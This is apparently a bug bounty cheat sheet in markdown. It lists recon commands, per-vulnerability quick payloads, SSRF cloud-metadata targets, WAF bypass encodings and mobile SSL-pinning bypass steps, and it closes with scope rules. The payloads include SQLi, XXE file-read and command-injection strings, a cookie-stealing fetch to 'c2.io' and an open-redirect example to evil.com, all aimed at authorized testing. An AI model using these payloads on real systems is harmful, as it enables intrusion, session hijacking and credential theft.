Skip to content

summary.md

Latest commit

 

History

History
233 lines (177 loc) · 8.4 KB

summary.md

File metadata and controls

233 lines (177 loc) · 8.4 KB
Raw

Bug Bounty Hunter — Quick Reference Summary

╔══════════════════════════════════╗
║   BUG BOUNTY QUICK REFERENCE    ║
╚══════════════════════════════════╝

Core Workflow

RECON → ENUM → MAP → TEST → REPORT
  1. Passive recon — WHOIS, crt.sh, Shodan, GitHub, Wayback Machine
  2. Subdomain enum — subfinder + amass → httpx probe → gowitness
  3. Surface mapping — crawl with katana, screenshot live hosts
  4. Vulnerability testing — manual (Burp) + automated (nuclei)
  5. Report — clear PoC, real impact, reproduction steps

Vulnerability Cheatsheet

Vuln Key Test Quick Payload Impact Top Tools
XSS Reflect input in page <svg onload=alert(1)> Session hijack, CSRF dalfox, XSStrike, DOM Invader
SQLi Quote breaks query ' OR 1=1-- Data dump, auth bypass sqlmap, Ghauri, Burp Intruder
SSRF URL param fetched by server http://169.254.169.254/ AWS keys, internal network SSRFmap, Gopherus, interactsh
IDOR Swap object IDs Change /doc/100 → /doc/101 Unauthorized data access Burp Autorize, Auth Analyzer
XXE XML input processed <!ENTITY x SYSTEM "file:///etc/passwd"> LFI, SSRF XXEinjector, interactsh
SSTI Template engine renders input {{7*7}} → 49 RCE tplmap, SSTImap
Open Redirect Redirect param ?next=//evil.com Phishing, OAuth theft OpenRedireX, gf, ffuf
Path Traversal File param ../../etc/passwd File read dotdotpwn, LFImap, ffuf
JWT Attack Decode token alg: none or brute secret Auth bypass jwt_tool, hashcat, Burp JWT Editor
RCE OS exec reachable ; id ` id $(id)` Full compromise
CSRF State-change request, no token HTML auto-submit form Unwanted actions as victim Burp CSRF PoC generator
CORS Arbitrary Origin reflected + credentials JS cross-origin fetch with victim session Read authenticated responses corsy, Burp Repeater
Deserialization Serialized object in cookie/body ysoserial gadget chain RCE, auth bypass ysoserial, PHPGGC, interactsh
Proto. Pollution __proto__ in JSON accepted {"__proto__":{"admin":true}} Privilege escalation, RCE ppfuzz, Burp Repeater

Severity Reference

Level CVSS Example
Critical 9.0–10.0 Unauth RCE, SQLi on all data
High 7.0–8.9 Auth RCE, SSRF to metadata, mass account takeover
Medium 4.0–6.9 Reflected XSS, IDOR on limited data, CSRF
Low 0.1–3.9 Info disclosure, missing headers, self-XSS

IDOR Testing (Two-Account Method)

Account A (yours)         Account B (victim)
    │                          │
    ├── Create resource ──────▶│ owns /doc/B-id
    │                          │
    └── Access /doc/B-id ◀─────┘
         using A's session
         
If it returns B's data = IDOR ✓

Top Recon Commands

# Subdomain discovery
subfinder -d target.com | httpx -title -sc -o live.txt

# Directory fuzzing
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,302,403

# Parameter fuzzing
ffuf -u https://target.com/page?FUZZ=test -w params.txt

# Nuclei scan
nuclei -l live.txt -severity critical,high -o vulns.txt

# Nmap web services
nmap -sV -p 80,443,8080,8443,8000 target.com

SSRF Targets (High Value)

AWS:     http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP:     http://metadata.google.internal/computeMetadata/v1/  [+Metadata-Flavor: Google]
Azure:   http://169.254.169.254/metadata/instance?api-version=2021-02-01
Local:   http://localhost:8080  http://127.0.0.1:9200 (Elasticsearch)

XSS Payload Progression

1. Basic:    <script>alert(1)</script>
2. Attr:     " onmouseover="alert(1)
3. No-quote: <img src=x onerror=alert(1)>
3. SVG:      <svg onload=alert(1)>
4. JS ctx:   ';alert(1)//
5. Template: {{constructor.constructor('alert(1)')()}}
6. Impact:   fetch('//c2.io/?c='+document.cookie)

JWT Quick Attacks

# Decode
echo "<payload>" | base64 -d

# None algorithm (remove signature)
header: {"alg":"none","typ":"JWT"}
token:  <b64_header>.<b64_payload>.

# Brute force secret
hashcat -a 0 -m 16500 <token> rockyou.txt

Report Checklist

☐ Vulnerability name and CWE number
☐ Severity + CVSS score
☐ Step-by-step reproduction (numbered)
☐ Screenshots / screen recording
☐ Proof of concept code or request
☐ Clear impact statement (who, what data, blast radius)
☐ Remediation recommendation
☐ Confirm target is in scope

Tools by Vulnerability

Vuln Detection Exploitation Support
XSS dalfox, XSStrike, Nuclei DOM Invader, XSSHunter (blind) Burp Repeater
SQLi sqlmap --batch, Nuclei sqlmap --dump, Ghauri (WAF bypass) BBQSQL (blind)
SSRF ffuf param fuzz, Nuclei SSRFmap, Gopherus (gopher proto) interactsh (OOB)
IDOR Burp Autorize, ffuf ID fuzz Manual ID swap in Repeater Auth Analyzer, Param Miner
XXE Burp Suite (swap Content-Type) XXEinjector, blind DTD exfil interactsh (OOB)
SSTI tplmap, SSTImap, Nuclei tplmap --os-shell Burp (polyglot detection)
Open Redirect OpenRedireX, gf + ffuf Chained with OAuth for token theft Burp Match & Replace
Path Traversal dotdotpwn, LFImap, Nuclei LFImap auto-exploit, log poisoning → RCE ffuf traversal wordlist
Auth / JWT jwt_tool (decode + tamper) hashcat (secret brute), Burp JWT Editor Auth Analyzer, Hydra (login)
RCE commix, Nuclei CVE templates ysoserial (Java), PHPGGC (PHP), Metasploit weevely (web shell C2)
CSRF Burp Scanner, Nuclei Burp CSRF PoC generator Check SameSite cookie attribute
CORS corsy, Nuclei Manual JS fetch PoC Burp Repeater (Origin header swap)
Deserialization Nuclei, Burp Deserial. Scanner ysoserial, PHPGGC interactsh (OOB blind detection)
Proto. Pollution ppfuzz, Nuclei Manual __proto__ / constructor.prototype Burp (JSON body tampering)

Essential Tools (by Phase)

Proxy:      Burp Suite Pro  — intercept, Repeater, Intruder, extensions
Recon:      subfinder, amass, httpx, katana, gau
Fuzzing:    ffuf, feroxbuster, wfuzz
Scanning:   nuclei, nikto
OOB:        interactsh, Burp Collaborator
Wordlists:  SecLists (github.com/danielmiessler/SecLists)

WAF Bypass Quick Reference

Encoding:        '  →  %27  →  %2527  →  \x27
Whitespace:      space → /**/ → %09 → %0a
Case mix:        UNION → uNiOn → Un/**/Ion
SQLi comments:   UNION/**/SELECT  or  /*!UNION*//*!SELECT*/
XSS no-script:   <img src=x onerror=alert`1`>
XSS encoded:     <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
XSS base64:      <script>eval(atob('YWxlcnQoMSk='))</script>
IP bypass hdrs:  X-Forwarded-For: 127.0.0.1
sqlmap tamper:   --tamper=space2comment,between,randomcase,charencode

Mobile Testing Quick Reference

# Android — decompile + grep secrets
apktool d target.apk -o out/
grep -r "api_key\|secret\|http://" out/

# Android — bypass SSL pinning (easiest)
apk-mitm target.apk && adb install target-patched.apk

# Android — runtime hook with Frida
frida -U -f com.target.app -l ssl-pinning-bypass.js

# iOS — dump IPA from device
frida-ios-dump com.target.app

# iOS — inspect plist for hardcoded keys
plutil -p Payload/App.app/Info.plist | grep -i "key\|secret\|http"

# Both — intercept via Burp proxy (set on device Wi-Fi)
# Install Burp CA cert: Settings → General → About → Cert Trust

Top Platforms

Platform Signup Notes
HackerOne hackerone.com Largest, enterprise programs
Bugcrowd bugcrowd.com Good for beginners
Intigriti intigriti.com European focus, fair payouts
YesWeHack yeswehack.com Growing, good community

Rule #1: Only test in-scope assets. When in doubt, ask the program. Rule #2: Stop at proof — don't exfiltrate real user data. Rule #3: Report clearly and professionally. Triagers are humans.